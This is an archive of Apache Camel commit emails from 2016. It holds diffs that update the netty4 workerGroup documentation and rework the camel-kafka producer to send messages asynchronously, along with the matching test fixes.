Branch: refs/heads/camel-2.18.x
Commit: c5a8c6778a5ebb6fda957427160d57602c0bac3e
Parents: 8351873
Author: Willem Jiang 
Authored: Thu Nov 3 18:34:29 2016 +0800
Committer: Willem Jiang 
Committed: Thu Nov 3 19:09:59 2016 +0800

--
 .../netty4/springboot/NettyComponentConfiguration.java | 5 +++--
 .../camel-netty4-http/src/main/docs/netty4-http-component.adoc | 4 ++--
 components/camel-netty4/src/main/docs/netty4-component.adoc| 4 ++--
 .../component/netty4/NettyServerBootstrapConfiguration.java| 6 +++---
 4 files changed, 10 insertions(+), 9 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/c5a8c677/components-starter/camel-netty4-starter/src/main/java/org/apache/camel/component/netty4/springboot/NettyComponentConfiguration.java
--
diff --git 
a/components-starter/camel-netty4-starter/src/main/java/org/apache/camel/component/netty4/springboot/NettyComponentConfiguration.java
 
b/components-starter/camel-netty4-starter/src/main/java/org/apache/camel/component/netty4/springboot/NettyComponentConfiguration.java
index 2c6ffe0..fb5f59d 100644
--- 
a/components-starter/camel-netty4-starter/src/main/java/org/apache/camel/component/netty4/springboot/NettyComponentConfiguration.java
+++ 
b/components-starter/camel-netty4-starter/src/main/java/org/apache/camel/component/netty4/springboot/NettyComponentConfiguration.java
@@ -449,8 +449,9 @@ public class NettyComponentConfiguration {
 private EventLoopGroup bossGroup;
 /**
  * To use a explicit EventLoopGroup as the boss thread pool. For 
example
- * to share a thread pool with multiple consumers. By default each
- * consumer has their own boss pool with 1 core thread.
+ * to share a thread pool with multiple consumers or producers. By
+ * default each consumer or producer has their own worker pool with 2 x
+ * cpu count core threads.
  */
 private EventLoopGroup workerGroup;
 /**

http://git-wip-us.apache.org/repos/asf/camel/blob/c5a8c677/components/camel-netty4-http/src/main/docs/netty4-http-component.adoc
--
diff --git 
a/components/camel-netty4-http/src/main/docs/netty4-http-component.adoc 
b/components/camel-netty4-http/src/main/docs/netty4-http-component.adoc
index 21d994a..b3265bc 100644
--- a/components/camel-netty4-http/src/main/docs/netty4-http-component.adoc
+++ b/components/camel-netty4-http/src/main/docs/netty4-http-component.adoc
@@ -148,8 +148,6 @@ The Netty4 HTTP component supports 82 endpoint options 
which are listed below:
 | traceEnabled | consumer (advanced) | false | boolean | Specifies whether to 
enable HTTP TRACE for this Netty HTTP consumer. By default TRACE is turned off.
 | urlDecodeHeaders | consumer (advanced) | false | boolean | If this option is 
enabled then during binding from Netty to Camel Message then the header values 
will be URL decoded (eg 20 will be a space character. Notice this option is 
used by the default org.apache.camel.component.netty.http.NettyHttpBinding and 
therefore if you implement a custom 
org.apache.camel.component.netty4.http.NettyHttpBinding then you would need to 
decode the headers accordingly to this option.
 | usingExecutorService | consumer (advanced) | true | boolean | Whether to use 
ordered thread pool to ensure events are processed orderly on the same channel.
-| workerCount | consumer (advanced) |  | int | When netty works on nio mode it 
uses default workerCount parameter from Netty which is cpu_core_threads2. User 
can use this operation to override the default workerCount from Netty
-| workerGroup | consumer (advanced) |  | EventLoopGroup | To use a explicit 
EventLoopGroup as the boss thread pool. For example to share a thread pool with 
multiple consumers. By default each consumer has their own boss pool with 1 
core thread.
 | connectTimeout | producer | 1 | int | Time to wait for a socket 
connection to be available. Value is in millis.
 | requestTimeout | producer |  | long | Allows to use a timeout for the Netty 
producer when calling a remote server. By default no timeout is in use. The 
value is in milli seconds so eg 3 is 30 seconds. The requestTimeout is 
using Netty's ReadTimeoutHandler to trigger the timeout.
 | reuseChannel | 

camel git commit: CAMEL-10441 Updated the documentation of WorkerGroup option in camel-netty4

2016-11-03 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/master 9b0b25886 -> 200e097d9


CAMEL-10441 Updated the documentation of WorkerGroup option in camel-netty4


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/200e097d
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/200e097d
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/200e097d

Branch: refs/heads/master
Commit: 200e097d9df501724b4e7681768562daef3e4359
Parents: 9b0b258
Author: Willem Jiang 
Authored: Thu Nov 3 18:34:29 2016 +0800
Committer: Willem Jiang 
Committed: Thu Nov 3 18:34:29 2016 +0800

--
 .../netty4/springboot/NettyComponentConfiguration.java | 5 +++--
 .../camel-netty4-http/src/main/docs/netty4-http-component.adoc | 4 ++--
 components/camel-netty4/src/main/docs/netty4-component.adoc| 4 ++--
 .../component/netty4/NettyServerBootstrapConfiguration.java| 6 +++---
 4 files changed, 10 insertions(+), 9 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/200e097d/components-starter/camel-netty4-starter/src/main/java/org/apache/camel/component/netty4/springboot/NettyComponentConfiguration.java
--
diff --git 
a/components-starter/camel-netty4-starter/src/main/java/org/apache/camel/component/netty4/springboot/NettyComponentConfiguration.java
 
b/components-starter/camel-netty4-starter/src/main/java/org/apache/camel/component/netty4/springboot/NettyComponentConfiguration.java
index 2c6ffe0..fb5f59d 100644
--- 
a/components-starter/camel-netty4-starter/src/main/java/org/apache/camel/component/netty4/springboot/NettyComponentConfiguration.java
+++ 
b/components-starter/camel-netty4-starter/src/main/java/org/apache/camel/component/netty4/springboot/NettyComponentConfiguration.java
@@ -449,8 +449,9 @@ public class NettyComponentConfiguration {
 private EventLoopGroup bossGroup;
 /**
  * To use a explicit EventLoopGroup as the boss thread pool. For 
example
- * to share a thread pool with multiple consumers. By default each
- * consumer has their own boss pool with 1 core thread.
+ * to share a thread pool with multiple consumers or producers. By
+ * default each consumer or producer has their own worker pool with 2 x
+ * cpu count core threads.
  */
 private EventLoopGroup workerGroup;
 /**

http://git-wip-us.apache.org/repos/asf/camel/blob/200e097d/components/camel-netty4-http/src/main/docs/netty4-http-component.adoc
--
diff --git 
a/components/camel-netty4-http/src/main/docs/netty4-http-component.adoc 
b/components/camel-netty4-http/src/main/docs/netty4-http-component.adoc
index f122836..382e090 100644
--- a/components/camel-netty4-http/src/main/docs/netty4-http-component.adoc
+++ b/components/camel-netty4-http/src/main/docs/netty4-http-component.adoc
@@ -148,8 +148,6 @@ The Netty4 HTTP component supports 83 endpoint options 
which are listed below:
 | traceEnabled | consumer (advanced) | false | boolean | Specifies whether to 
enable HTTP TRACE for this Netty HTTP consumer. By default TRACE is turned off.
 | urlDecodeHeaders | consumer (advanced) | false | boolean | If this option is 
enabled then during binding from Netty to Camel Message then the header values 
will be URL decoded (eg 20 will be a space character. Notice this option is 
used by the default org.apache.camel.component.netty.http.NettyHttpBinding and 
therefore if you implement a custom 
org.apache.camel.component.netty4.http.NettyHttpBinding then you would need to 
decode the headers accordingly to this option.
 | usingExecutorService | consumer (advanced) | true | boolean | Whether to use 
ordered thread pool to ensure events are processed orderly on the same channel.
-| workerCount | consumer (advanced) |  | int | When netty works on nio mode it 
uses default workerCount parameter from Netty which is cpu_core_threads2. User 
can use this operation to override the default workerCount from Netty
-| workerGroup | consumer (advanced) |  | EventLoopGroup | To use a explicit 
EventLoopGroup as the boss thread pool. For example to share a thread pool with 
multiple consumers. By default each consumer has their own boss pool with 1 
core thread.
 | connectTimeout | producer | 1 | int | Time to wait for a socket 
connection to be available. Value is in millis.
 | cookieHandler | producer |  | CookieHandler | Configure a cookie handler to 
maintain a HTTP session
 | requestTimeout | producer |  | long | Allows to use a timeout for the Netty 
producer when calling a remote server. By default no timeout is in use. The 
value is in milli seconds so eg 3 is 30 seconds. The 

[1/2] camel git commit: CAMEL-9957: Use a worker pool for processing kafka callbacks to not streal its io thread to do camel routing. See the kafka javadoc/documentation.

2016-05-16 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/camel-2.17.x ae7a15cfc -> fb3728cef


CAMEL-9957: Use a worker pool for processing kafka callbacks to not streal its 
io thread to do camel routing. See the kafka javadoc/documentation.


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/11587ebc
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/11587ebc
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/11587ebc

Branch: refs/heads/camel-2.17.x
Commit: 11587ebc2d521ca959679f5a7d545f47365a2718
Parents: ae7a15c
Author: Claus Ibsen 
Authored: Sun May 15 10:21:38 2016 +0200
Committer: Willem Jiang 
Committed: Tue May 17 12:08:40 2016 +0800

--
 .../camel/component/kafka/KafkaComponent.java   |  4 +-
 .../camel/component/kafka/KafkaProducer.java| 39 +---
 .../component/kafka/KafkaProducerTest.java  |  1 -
 3 files changed, 19 insertions(+), 25 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/11587ebc/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaComponent.java
--
diff --git 
a/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaComponent.java
 
b/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaComponent.java
index 76ef55f..2e11b22 100644
--- 
a/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaComponent.java
+++ 
b/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaComponent.java
@@ -25,6 +25,8 @@ import org.apache.camel.impl.UriEndpointComponent;
 
 public class KafkaComponent extends UriEndpointComponent {
 
+private ExecutorService workerPool;
+
 public KafkaComponent() {
 super(KafkaEndpoint.class);
 }
@@ -33,8 +35,6 @@ public class KafkaComponent extends UriEndpointComponent {
 super(context, KafkaEndpoint.class);
 }
 
-private ExecutorService workerPool;
-
 @Override
 protected KafkaEndpoint createEndpoint(String uri, String remaining, 
Map params) throws Exception {
 KafkaEndpoint endpoint = new KafkaEndpoint(uri, this);

http://git-wip-us.apache.org/repos/asf/camel/blob/11587ebc/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
--
diff --git 
a/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
 
b/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
index 0f783b5..2138df1 100644
--- 
a/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
+++ 
b/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
@@ -20,17 +20,16 @@ import java.util.Properties;
 import java.util.concurrent.ExecutorService;
 
 import org.apache.camel.AsyncCallback;
-import org.apache.camel.AsyncProcessor;
 import org.apache.camel.CamelException;
 import org.apache.camel.CamelExchangeException;
 import org.apache.camel.Exchange;
-import org.apache.camel.impl.DefaultProducer;
+import org.apache.camel.impl.DefaultAsyncProducer;
 import org.apache.kafka.clients.producer.Callback;
 import org.apache.kafka.clients.producer.ProducerConfig;
 import org.apache.kafka.clients.producer.ProducerRecord;
 import org.apache.kafka.clients.producer.RecordMetadata;
 
-public class KafkaProducer extends DefaultProducer implements AsyncProcessor {
+public class KafkaProducer extends DefaultAsyncProducer {
 
 private org.apache.kafka.clients.producer.KafkaProducer kafkaProducer;
 private final KafkaEndpoint endpoint;
@@ -79,6 +78,8 @@ public class KafkaProducer extends DefaultProducer implements 
AsyncProcessor {
 // if we are in asynchronous mode we need a worker pool
 if (!endpoint.isSynchronous() && workerPool == null) {
 workerPool = endpoint.createProducerExecutor();
+// we create a thread pool so we should also shut it down
+shutdownWorkerPool = true;
 }
 }
 
@@ -127,34 +128,28 @@ public class KafkaProducer extends DefaultProducer 
implements AsyncProcessor {
 @SuppressWarnings("unchecked")
 public void process(Exchange exchange) throws Exception {
 ProducerRecord record = createRecorder(exchange);
-// Just send out the record in the sync way
 kafkaProducer.send(record).get();
 }
 
 @Override
+@SuppressWarnings("unchecked")
 public boolean process(Exchange exchange, AsyncCallback callback) {
-// force processing synchronously using different api
-if (endpoint.isSynchronous()) {
-try {
+try {
+ 

[2/2] camel git commit: CAMEL-9957 Let the KafkaEndpoint decide which kind of producer need to be return

2016-05-16 Thread ningjiang
CAMEL-9957 Let the KafkaEndpoint decide which kind of producer need to be return


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/fb3728ce
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/fb3728ce
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/fb3728ce

Branch: refs/heads/camel-2.17.x
Commit: fb3728cef8f20889d0fa8c0878c0552690a53623
Parents: 11587eb
Author: Willem Jiang 
Authored: Tue May 17 12:00:33 2016 +0800
Committer: Willem Jiang 
Committed: Tue May 17 12:09:03 2016 +0800

--
 .../apache/camel/component/kafka/KafkaEndpoint.java  |  8 +++-
 .../apache/camel/component/kafka/KafkaProducer.java  | 15 +--
 2 files changed, 12 insertions(+), 11 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/fb3728ce/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaEndpoint.java
--
diff --git 
a/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaEndpoint.java
 
b/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaEndpoint.java
index d995475..999be5d 100644
--- 
a/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaEndpoint.java
+++ 
b/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaEndpoint.java
@@ -26,6 +26,7 @@ import org.apache.camel.MultipleConsumersSupport;
 import org.apache.camel.Processor;
 import org.apache.camel.Producer;
 import org.apache.camel.impl.DefaultEndpoint;
+import org.apache.camel.impl.SynchronousDelegateProducer;
 import org.apache.camel.spi.UriEndpoint;
 import org.apache.camel.spi.UriParam;
 import org.apache.kafka.clients.consumer.ConsumerRecord;
@@ -72,7 +73,12 @@ public class KafkaEndpoint extends DefaultEndpoint 
implements MultipleConsumersS
 
 @Override
 public Producer createProducer() throws Exception {
-return createProducer(this);
+KafkaProducer producer = createProducer(this);
+if (isSynchronous()) {
+return new SynchronousDelegateProducer(producer);
+} else {
+return producer;
+}
 }
 
 @Override

http://git-wip-us.apache.org/repos/asf/camel/blob/fb3728ce/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
--
diff --git 
a/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
 
b/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
index 2138df1..1254e97 100644
--- 
a/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
+++ 
b/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
@@ -126,6 +126,7 @@ public class KafkaProducer extends DefaultAsyncProducer {
 
 @Override
 @SuppressWarnings("unchecked")
+// Camel calls this method if the endpoint isSynchronous(), as the 
KafkaEndpoint creates a SynchronousDelegateProducer for it
 public void process(Exchange exchange) throws Exception {
 ProducerRecord record = createRecorder(exchange);
 kafkaProducer.send(record).get();
@@ -135,19 +136,13 @@ public class KafkaProducer extends DefaultAsyncProducer {
 @SuppressWarnings("unchecked")
 public boolean process(Exchange exchange, AsyncCallback callback) {
 try {
-if (endpoint.isSynchronous()) {
-// force process using synchronous call on kafka
-process(exchange);
-} else {
-ProducerRecord record = createRecorder(exchange);
-kafkaProducer.send(record, new KafkaProducerCallBack(exchange, 
callback));
-// return false to process asynchronous
-return false;
-}
+ProducerRecord record = createRecorder(exchange);
+kafkaProducer.send(record, new KafkaProducerCallBack(exchange, 
callback));
+// return false to process asynchronous
+return false;
 } catch (Exception ex) {
 exchange.setException(ex);
 }
-
 callback.done(true);
 return true;
 }



camel git commit: CAMEL-9957 Let the KafkaEndpoint decide which kind of producer need to be return

2016-05-16 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/master cc8f51f83 -> 7d165439c


CAMEL-9957 Let the KafkaEndpoint decide which kind of producer need to be return


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/7d165439
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/7d165439
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/7d165439

Branch: refs/heads/master
Commit: 7d165439c6e85dcdd309462931252e94786971e0
Parents: cc8f51f
Author: Willem Jiang 
Authored: Tue May 17 12:00:33 2016 +0800
Committer: Willem Jiang 
Committed: Tue May 17 12:00:33 2016 +0800

--
 .../apache/camel/component/kafka/KafkaEndpoint.java  |  8 +++-
 .../apache/camel/component/kafka/KafkaProducer.java  | 15 +--
 2 files changed, 12 insertions(+), 11 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/7d165439/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaEndpoint.java
--
diff --git 
a/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaEndpoint.java
 
b/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaEndpoint.java
index aabd020..eb03493 100644
--- 
a/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaEndpoint.java
+++ 
b/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaEndpoint.java
@@ -26,6 +26,7 @@ import org.apache.camel.MultipleConsumersSupport;
 import org.apache.camel.Processor;
 import org.apache.camel.Producer;
 import org.apache.camel.impl.DefaultEndpoint;
+import org.apache.camel.impl.SynchronousDelegateProducer;
 import org.apache.camel.spi.UriEndpoint;
 import org.apache.camel.spi.UriParam;
 import org.apache.kafka.clients.consumer.ConsumerRecord;
@@ -72,7 +73,12 @@ public class KafkaEndpoint extends DefaultEndpoint 
implements MultipleConsumersS
 
 @Override
 public Producer createProducer() throws Exception {
-return createProducer(this);
+KafkaProducer producer = createProducer(this);
+if (isSynchronous()) {
+return new SynchronousDelegateProducer(producer);
+} else {
+return producer;
+}
 }
 
 @Override

http://git-wip-us.apache.org/repos/asf/camel/blob/7d165439/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
--
diff --git 
a/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
 
b/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
index 2138df1..1254e97 100644
--- 
a/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
+++ 
b/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
@@ -126,6 +126,7 @@ public class KafkaProducer extends DefaultAsyncProducer {
 
 @Override
 @SuppressWarnings("unchecked")
+// Camel calls this method if the endpoint isSynchronous(), as the 
KafkaEndpoint creates a SynchronousDelegateProducer for it
 public void process(Exchange exchange) throws Exception {
 ProducerRecord record = createRecorder(exchange);
 kafkaProducer.send(record).get();
@@ -135,19 +136,13 @@ public class KafkaProducer extends DefaultAsyncProducer {
 @SuppressWarnings("unchecked")
 public boolean process(Exchange exchange, AsyncCallback callback) {
 try {
-if (endpoint.isSynchronous()) {
-// force process using synchronous call on kafka
-process(exchange);
-} else {
-ProducerRecord record = createRecorder(exchange);
-kafkaProducer.send(record, new KafkaProducerCallBack(exchange, 
callback));
-// return false to process asynchronous
-return false;
-}
+ProducerRecord record = createRecorder(exchange);
+kafkaProducer.send(record, new KafkaProducerCallBack(exchange, 
callback));
+// return false to process asynchronous
+return false;
 } catch (Exception ex) {
 exchange.setException(ex);
 }
-
 callback.done(true);
 return true;
 }



camel git commit: CAMEL-9957 Fixed the casting error in KafkaProducerTest

2016-05-11 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/master 680ee9e0c -> 82bd0baab


CAMEL-9957 Fixed the casting error in KafkaProducerTest


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/82bd0baa
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/82bd0baa
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/82bd0baa

Branch: refs/heads/master
Commit: 82bd0baab2dcc4659c68919117b24dd9a8e17ebf
Parents: 680ee9e
Author: Willem Jiang 
Authored: Thu May 12 09:13:21 2016 +0800
Committer: Willem Jiang 
Committed: Thu May 12 09:14:23 2016 +0800

--
 .../java/org/apache/camel/component/kafka/KafkaProducerTest.java   | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/82bd0baa/components/camel-kafka/src/test/java/org/apache/camel/component/kafka/KafkaProducerTest.java
--
diff --git 
a/components/camel-kafka/src/test/java/org/apache/camel/component/kafka/KafkaProducerTest.java
 
b/components/camel-kafka/src/test/java/org/apache/camel/component/kafka/KafkaProducerTest.java
index 7c52629..68798f3 100644
--- 
a/components/camel-kafka/src/test/java/org/apache/camel/component/kafka/KafkaProducerTest.java
+++ 
b/components/camel-kafka/src/test/java/org/apache/camel/component/kafka/KafkaProducerTest.java
@@ -57,7 +57,7 @@ public class KafkaProducerTest {
 Future future = Mockito.mock(Future.class);
 Mockito.when(future.get()).thenReturn(rm);
 org.apache.kafka.clients.producer.KafkaProducer kp = 
Mockito.mock(org.apache.kafka.clients.producer.KafkaProducer.class);
-Mockito.when(kp.send(Mockito.any())).thenReturn(future);
+
Mockito.when(kp.send(Mockito.any(ProducerRecord.class))).thenReturn(future);
 
 producer.setKafkaProducer(kp);
 }



[3/3] camel git commit: CAMEL-9957 Fixed the build error of KafkaProducerTest

2016-05-11 Thread ningjiang
CAMEL-9957 Fixed the build error of KafkaProducerTest


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/32b9bf2b
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/32b9bf2b
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/32b9bf2b

Branch: refs/heads/master
Commit: 32b9bf2b8d2b7802fee98db0d11bbb4d2478873e
Parents: 123f08f
Author: Willem Jiang 
Authored: Wed May 11 14:08:08 2016 +0800
Committer: Willem Jiang 
Committed: Wed May 11 14:09:43 2016 +0800

--
 .../java/org/apache/camel/component/kafka/KafkaProducerTest.java | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/32b9bf2b/components/camel-kafka/src/test/java/org/apache/camel/component/kafka/KafkaProducerTest.java
--
diff --git 
a/components/camel-kafka/src/test/java/org/apache/camel/component/kafka/KafkaProducerTest.java
 
b/components/camel-kafka/src/test/java/org/apache/camel/component/kafka/KafkaProducerTest.java
index 62ab51f..7c52629 100644
--- 
a/components/camel-kafka/src/test/java/org/apache/camel/component/kafka/KafkaProducerTest.java
+++ 
b/components/camel-kafka/src/test/java/org/apache/camel/component/kafka/KafkaProducerTest.java
@@ -85,7 +85,7 @@ public class KafkaProducerTest {
 endpoint.setTopic("sometopic");
 // setup the exception here
 org.apache.kafka.clients.producer.KafkaProducer kp = 
producer.getKafkaProducer();
-Mockito.when(kp.send(Mockito.any())).thenThrow(new ApiException());
+Mockito.when(kp.send(Mockito.any(ProducerRecord.class))).thenThrow(new 
ApiException());
 Mockito.when(exchange.getIn()).thenReturn(in);
 in.setHeader(KafkaConstants.PARTITION_KEY, "4");
 
@@ -115,7 +115,7 @@ public class KafkaProducerTest {
 
 // setup the exception here
 org.apache.kafka.clients.producer.KafkaProducer kp = 
producer.getKafkaProducer();
-Mockito.when(kp.send(Mockito.any(), Mockito.any())).thenThrow(new 
ApiException());
+Mockito.when(kp.send(Mockito.any(ProducerRecord.class), 
Mockito.any(Callback.class))).thenThrow(new ApiException());
 
 in.setHeader(KafkaConstants.PARTITION_KEY, "4");
 



[1/3] camel git commit: CAMEL-9957 camel-kafka producer sends the message in an async way

2016-05-11 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/camel-2.17.x 04179ec97 -> 03a05be91
  refs/heads/master 123f08fa4 -> 32b9bf2b8


CAMEL-9957 camel-kafka producer sends the message in an async way


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/733d45f7
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/733d45f7
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/733d45f7

Branch: refs/heads/camel-2.17.x
Commit: 733d45f790eae31ec7b65aa6768ae09b9f54e49c
Parents: 04179ec
Author: Willem Jiang 
Authored: Wed May 11 11:55:13 2016 +0800
Committer: Willem Jiang 
Committed: Wed May 11 11:56:04 2016 +0800

--
 .../camel/component/kafka/KafkaProducer.java| 54 +---
 .../component/kafka/KafkaProducerTest.java  | 52 +++
 2 files changed, 100 insertions(+), 6 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/733d45f7/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
--
diff --git 
a/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
 
b/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
index 4f6468b..0c4013f 100644
--- 
a/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
+++ 
b/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
@@ -18,14 +18,18 @@ package org.apache.camel.component.kafka;
 
 import java.util.Properties;
 
+import org.apache.camel.AsyncCallback;
+import org.apache.camel.AsyncProcessor;
 import org.apache.camel.CamelException;
 import org.apache.camel.CamelExchangeException;
 import org.apache.camel.Exchange;
 import org.apache.camel.impl.DefaultProducer;
+import org.apache.kafka.clients.producer.Callback;
 import org.apache.kafka.clients.producer.ProducerConfig;
 import org.apache.kafka.clients.producer.ProducerRecord;
+import org.apache.kafka.clients.producer.RecordMetadata;
 
-public class KafkaProducer extends DefaultProducer {
+public class KafkaProducer extends DefaultProducer implements AsyncProcessor {
 
 private org.apache.kafka.clients.producer.KafkaProducer kafkaProducer;
 private final KafkaEndpoint endpoint;
@@ -69,9 +73,7 @@ public class KafkaProducer extends DefaultProducer {
 }
 }
 
-@Override
-@SuppressWarnings("unchecked")
-public void process(Exchange exchange) throws CamelException {
+protected ProducerRecord createRecorder(Exchange exchange) throws 
CamelException {
 String topic = endpoint.getTopic();
 if (!endpoint.isBridgeEndpoint()) {
 topic = exchange.getIn().getHeader(KafkaConstants.TOPIC, topic, 
String.class);
@@ -96,9 +98,15 @@ public class KafkaProducer extends DefaultProducer {
 log.warn("No message key or partition key set");
 record = new ProducerRecord(topic, msg);
 }
+return record;
+}
+
+@Override
+@SuppressWarnings("unchecked")
+public void process(Exchange exchange) throws CamelException {
 
-// TODO: add support for async callback
-// requires a thread pool for processing outgoing routing
+ProducerRecord record = createRecorder(exchange);
+// Just send out the record in the sync way
 try {
 kafkaProducer.send(record).get();
 } catch (Exception e) {
@@ -106,4 +114,38 @@ public class KafkaProducer extends DefaultProducer {
 }
 }
 
+@Override
+public boolean process(Exchange exchange, AsyncCallback callback) {
+try {
+ProducerRecord record = createRecorder(exchange);
+kafkaProducer.send(record, new KafkaProducerCallBack(exchange, 
callback));
+// Finishing the processing in an async way
+return false;
+} catch (Exception ex) {
+// Just set the exception back to the client
+exchange.setException(ex);
+callback.done(true);
+return true;
+}
+}
+
+class KafkaProducerCallBack implements Callback {
+
+private Exchange exchange;
+private AsyncCallback callback;
+
+KafkaProducerCallBack(Exchange exchange, AsyncCallback callback) {
+this.exchange = exchange;
+this.callback = callback;
+}
+
+@Override
+public void onCompletion(RecordMetadata recordMetadata, Exception e) {
+if (e != null) {
+// Just set the exception back
+exchange.setException(e);
+}
+callback.done(false);
+}
+}
 }


[2/3] camel git commit: CAMEL-9957 Fixed the build error of KafkaProducerTest

2016-05-11 Thread ningjiang
CAMEL-9957 Fixed the build error of KafkaProducerTest


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/03a05be9
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/03a05be9
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/03a05be9

Branch: refs/heads/camel-2.17.x
Commit: 03a05be91fe2b40c28bfb4e6cd3d24ae4f3efb70
Parents: 733d45f
Author: Willem Jiang 
Authored: Wed May 11 14:08:08 2016 +0800
Committer: Willem Jiang 
Committed: Wed May 11 14:08:08 2016 +0800

--
 .../java/org/apache/camel/component/kafka/KafkaProducerTest.java | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/03a05be9/components/camel-kafka/src/test/java/org/apache/camel/component/kafka/KafkaProducerTest.java
--
diff --git 
a/components/camel-kafka/src/test/java/org/apache/camel/component/kafka/KafkaProducerTest.java
 
b/components/camel-kafka/src/test/java/org/apache/camel/component/kafka/KafkaProducerTest.java
index ef57594..68798f3 100644
--- 
a/components/camel-kafka/src/test/java/org/apache/camel/component/kafka/KafkaProducerTest.java
+++ 
b/components/camel-kafka/src/test/java/org/apache/camel/component/kafka/KafkaProducerTest.java
@@ -85,7 +85,7 @@ public class KafkaProducerTest {
 endpoint.setTopic("sometopic");
 // setup the exception here
 org.apache.kafka.clients.producer.KafkaProducer kp = 
producer.getKafkaProducer();
-Mockito.when(kp.send(Mockito.any())).thenThrow(new ApiException());
+Mockito.when(kp.send(Mockito.any(ProducerRecord.class))).thenThrow(new 
ApiException());
 Mockito.when(exchange.getIn()).thenReturn(in);
 in.setHeader(KafkaConstants.PARTITION_KEY, "4");
 
@@ -115,7 +115,7 @@ public class KafkaProducerTest {
 
 // setup the exception here
 org.apache.kafka.clients.producer.KafkaProducer kp = 
producer.getKafkaProducer();
-Mockito.when(kp.send(Mockito.any(), Mockito.any())).thenThrow(new 
ApiException());
+Mockito.when(kp.send(Mockito.any(ProducerRecord.class), 
Mockito.any(Callback.class))).thenThrow(new ApiException());
 
 in.setHeader(KafkaConstants.PARTITION_KEY, "4");
 



camel git commit: CAMEL-9957 camel-kafka producer sends the message in an async way

